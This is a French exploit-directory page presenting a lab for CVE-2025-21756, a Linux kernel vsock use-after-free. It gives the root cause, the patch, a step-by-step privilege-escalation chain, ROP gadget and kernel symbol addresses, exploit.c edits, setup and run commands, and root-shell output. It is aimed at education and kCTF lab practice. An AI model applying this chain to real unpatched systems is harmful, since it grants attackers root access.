Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/h3raklez/cve-2025-21756
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationCTFApprentissage et ÉducationExploitation de BinairesLabs et Pratique
GitHubh3raklez/cve-2025-21756

CVE-2025-21756

CVE-2025-21756: L'attaque du Vsock

Voir le dépôt
1il y a 5 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-21756 — Laboratoire d'exploitation

À des fins éducatives et de recherche en sécurité autorisée uniquement.

Description

CVE-2025-21756 est une vulnérabilité use-after-free (UAF) dans le sous-système vsock (Virtual Socket) du noyau Linux, divulguée le 26 février 2025. Elle permet à un attaquant local d'élever ses privilèges à root sur les systèmes Linux affectés.

  • CVSS v3.1 : 7.8 (ÉLEVÉ)
  • Vecteur : AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
  • CWE : CWE-416 (Use-After-Free)
  • Composant affecté : net/vmw_vsock/af_vsock.c
  • Noyau affecté : Linux 6.6.75 (et versions antérieures non corrigées)

Cause racine

Le bogue se produit lors de la réaffectation du transport d'une socket vsock. La séquence vulnérable est :

  1. vsock_create() crée la socket avec refcnt=2 et l'insère dans la liste non liée (unbound)
  2. transport->release() appelle vsock_remove_bound() sans vérifier si la socket a été déplacée dans la liste liée, en décrémentant incorrectement refcnt
  3. vsock_bind() suppose que la socket est toujours dans la liste non liée et appelle à nouveau _vsock_remove_bound()
  4. refcnt atteint 0 prématurément → l'objet vsock est libéré alors qu'il est toujours référencé → UAF

Correctif appliqué

root@kitploit:~
void vsock_remove_sock(struct vsock_sock *vsk)
{
-    vsock_remove_bound(vsk);
+    if (sock_flag(sk_vsock(vsk), SOCK_DEAD))
+        vsock_remove_bound(vsk);
     vsock_remove_connected(vsk);
}

Chaîne d'exploitation

  1. Déclencher l'UAF — Deux appels connect() consécutifs avec des CID produisant des transports différents provoquent la libération prématurée de l'objet vsock alors qu'il est toujours lié dans vsock_bind_table
  2. Libération du slab — Les listes partielles SLUB sont vidées pour retourner la page victime à l'allocateur de pages
  3. Page spray — La page libérée est récupérée en utilisant unix_dgram_sendmsg avec des messages d'ordre 2 (MIGRATE_UNMOVABLE), la remplissant de données contrôlées
  4. Canal auxiliaire — vsock_diag_dump (non protégé par AppArmor) est utilisé comme canal auxiliaire pour détecter quand la page a été récupérée et localiser le décalage exact de l'objet victime dans la page
  5. Détournement de RIP — sk->sk_prot est écrasé pour pointer vers udp_prot+0x1c0 (udp_abort), qui lorsqu'il est appelé invoque sk->sk_error_report(sk), dont le pointeur est écrasé avec un gadget de pivotement de pile
  6. Chaîne ROP — commit_creds(init_cred) est exécuté pour attribuer les credentials root au processus, suivi du trampoline KPTI pour revenir en espace utilisateur
  7. Shell root — execve("/bin/sh") avec uid=0

Prérequis

  • Debian 12 ou 13 x86_64 (testé sur Debian 13)
  • Utilisateur normal avec accès sudo
  • RAM minimale : 1 Go
  • Espace disque libre : 10 Go

Configuration du laboratoire

root@kitploit:~
# Download the setup script
wget -O setup-lab.sh <SCRIPT_URL>
chmod +x setup-lab.sh

# Run as a normal user (not root)
./setup-lab.sh

Le script gère automatiquement :

  • Installer sudo s'il n'est pas disponible
  • Installer toutes les dépendances requises (build-essential, qemu-system-x86, bc, pahole, etc.)
  • Télécharger l'environnement Google kCTF officiel (noyau lts-6.6.75, rootfs, ramdisk)
  • Télécharger l'exploit ktranowl et appliquer les correctifs nécessaires
  • Compiler l'exploit
  • Créer l'environnement d'exécution avec les paramètres corrects
  • Créer run_lab.sh comme point d'entrée unique

Exécution du laboratoire

root@kitploit:~
cd ~/cve-2025-21756-lab
./run_lab.sh

Une fois l'environnement démarré, exécutez les commandes suivantes à l'intérieur :

root@kitploit:~
wget -O /tmp/exploit http://10.0.2.2:8080/exploit
chmod +x /tmp/exploit
/tmp/exploit

Sortie attendue

root@kitploit:~
[*] Saved state
[+] KBASE @ 0xffffffff81000000
...
[END] SUCCESSFULLY FREED THE TARGET SLAB
...
[END] Found the correct offset! ROP pls
...
[*] I AM ROOT
# id
uid=0(root) gid=0(root) groups=0(root)

Pour quitter : Ctrl-A X


Modifications apportées à l'exploit original

L'exploit de base provient de ktranowl. Les modifications suivantes ont été appliquées pour le faire fonctionner dans cet environnement :

1. KASLR désactivé

Modification : nokaslr ajouté aux paramètres de démarrage du noyau.

Raison : L'exploit original contourne KASLR en utilisant EntryBleed, une technique de canal auxiliaire temporel TLB qui nécessite un timing CPU précis. Dans un environnement de virtualisation imbriquée, la précision de rdtsc est insuffisante pour qu'EntryBleed fonctionne de manière fiable, produisant un kbase incorrect qui rend toutes les adresses calculées avec ADDRESS() erronées. Désactiver KASLR garantit que le noyau se charge toujours à 0xffffffff81000000 et que les décalages codés en dur dans l'exploit sont toujours corrects.

2. user_rip changé de modeprobe_exec à check_root

Modification dans exploit.c :

root@kitploit:~
// Before
uint64_t user_rip = (uint64_t)modeprobe_exec;

// After
uint64_t user_rip = (uint64_t)check_root;

Raison : modeprobe_exec est la technique d'élévation de privilèges utilisée dans l'exploit original pour l'environnement kCTF distant. Elle nécessite des arguments de ligne de commande (IP et port d'un serveur distant) et une connectivité réseau externe. Sans ces arguments, le processus plante avec une GPF en essayant de lire argv[1]. check_root vérifie directement l'uid et exécute /bin/sh, ce qui est suffisant pour démontrer l'exploitation dans un environnement local.

3. Appel à modeprobe_exec supprimé dans check_root

Modification dans exploit.c :

root@kitploit:~
void check_root() {
    if (getuid() == 0) {
        puts("[*] I AM ROOT");
-       modeprobe_exec();        // removed
        char binsh[] = "/bin/sh";
        char* const argv[] = {binsh, NULL};
        execve("/bin/sh", argv, 0);
    }
}

Raison : Même avec user_rip pointant vers check_root, cette fonction appelait à nouveau modeprobe_exec en interne avant d'exécuter /bin/sh. Sans les arguments requis, cet appel provoquait une GPF et le processus se terminait sans ouvrir un shell, bien que commit_creds ait déjà élevé les privilèges avec succès.


Analyse de la chaîne ROP et des symboles

Lors du processus de configuration du laboratoire, tous les symboles du noyau et les gadgets ROP ont été vérifiés par rapport au noyau officiel kCTF lts-6.6.75 pour confirmer qu'ils étaient valides pour cet environnement.

Gadgets ROP

Les trois gadgets utilisés dans l'exploit ont été extraits du noyau officiel en utilisant ROPgadget sur le binaire vmlinux et confirmés correspondre exactement aux valeurs codées en dur :

GadgetAdresseObjectif
pop rax ; and eax, ... ; pop rsp ; jmp ...0xffffffff8122ad32Pivot de pile — déplace RSP au début de l'objet vsock contrôlé
add rsp, 0xb8 ; jmp ...0xffffffff8170292cAvancement de pile — saute les champs réservés pour atteindre la chaîne ROP
pop rdi ; ret0xffffffff8115e4f9Charger le premier argument pour commit_creds(init_cred)

Aucun d'entre eux n'a nécessité de modification.

Symboles du noyau

Les symboles suivants ont été vérifiés par rapport à /proc/kallsyms à l'intérieur du noyau (avec nokaslr, les décalages sont fixes) :

SymboleAdresseRemarques
vsock_bind_table[0x7a]0xffffffff84bc6280Ancrage du canal auxiliaire — l'emplacement de la liste vsock où atterrit l'objet victime
init_net0xffffffff84bb1f80Utilisé pour valider le faux objet vsock via vsock_diag_dump
commit_creds0xffffffff811fdac0Attribue les credentials root au processus courant
init_cred0xffffffff83c74d80Structure de credentials avec uid=gid=0, à un décalage fixe de la base du noyau
kpti_trampoline0xffffffff826011a6swapgs_restore_regs_and_return_to_usermode+0x36 — restaure CR3 et revient en espace utilisateur
address_contain_udp_abort0xffffffff83ef28e0udp_prot + 0x1c0 — voir note ci-dessous

Toutes les valeurs correspondaient aux originales dans l'exploit. Aucune modification n'était nécessaire.

Note sur address_contain_udp_abort

Cette valeur ne pointe pas directement vers la fonction udp_abort. Elle pointe vers udp_prot + 0x1c0, qui est le champ diag_destroy dans struct proto. C'est intentionnel : vsock_release appelle sk->sk_prot->close(sk, 0), où close est au décalage 0 de struct proto. En faisant pointer sk_prot vers udp_prot->diag_destroy au lieu du début de udp_prot, le noyau lit diag_destroy comme s'il s'agissait du pointeur close, qui contient udp_abort. Cela s'enchaîne vers sk_error_report(sk) → sk->sk_error_report(sk), où est placé le gadget de pivotement de pile.

root@kitploit:~
vsock_release(sk)
└── sk->sk_prot->close(sk)         ← sk_prot points to udp_prot+0x1c0
    └── udp_abort(sk)              ← diag_destroy field, read as close()
        └── sk_error_report(sk)
            └── sk->sk_error_report(sk)  ← stack pivot gadget
                └── ROP chain
                    └── commit_creds(init_cred)
                        └── kpti_trampoline → root shell

AspectOriginal (ktranowl)Ce laboratoire
Contournement de KASLREntryBleed (TLB timing)Désactivé (nokaslr)
Technique d'élévationmodeprobe_exec via core_patternexecve("/bin/sh") directement
Environnement ciblekCTF distantLocal
Connectivité externe requiseOuiNon

Atténuation

Le correctif officiel est disponible à partir du noyau 6.14-rc1 et a été rétroporté sur toutes les branches LTS maintenues. Les distributions concernées ont publié leurs propres avis :

  • Ubuntu : USN-7361-1 et versions ultérieures
  • RHEL/CentOS : RHSA-2025:7903
  • SUSE : SUSE-SU-2025:01919-1 et versions ultérieures

Références

RessourceURL
Article original (Hoefler)https://hoefler.dev/articles/vsock.html
Exploit de Hoeflerhttps://github.com/hoefler02/CVE-2025-21756
Analyse n-day (ktranowl)https://hackmd.io/@ktranowl/H1XRm4zBxl
Exploit de ktranowlhttps://github.com/khoatran107/cve-2025-21756
Correctif officielhttps://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=fcdd2242c023
NVDhttps://nvd.nist.gov/vuln/detail/CVE-2025-21756
Règles kCTFhttps://google.github.io/security-research/kernelctf/rules.html

Avertissement

Cet outil est fourni uniquement à des fins éducatives et de tests de sécurité autorisés. Toute utilisation non autorisée contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite explicite est illégale. L'auteur n'est pas responsable de toute utilisation abusive.

Télécharger l’outil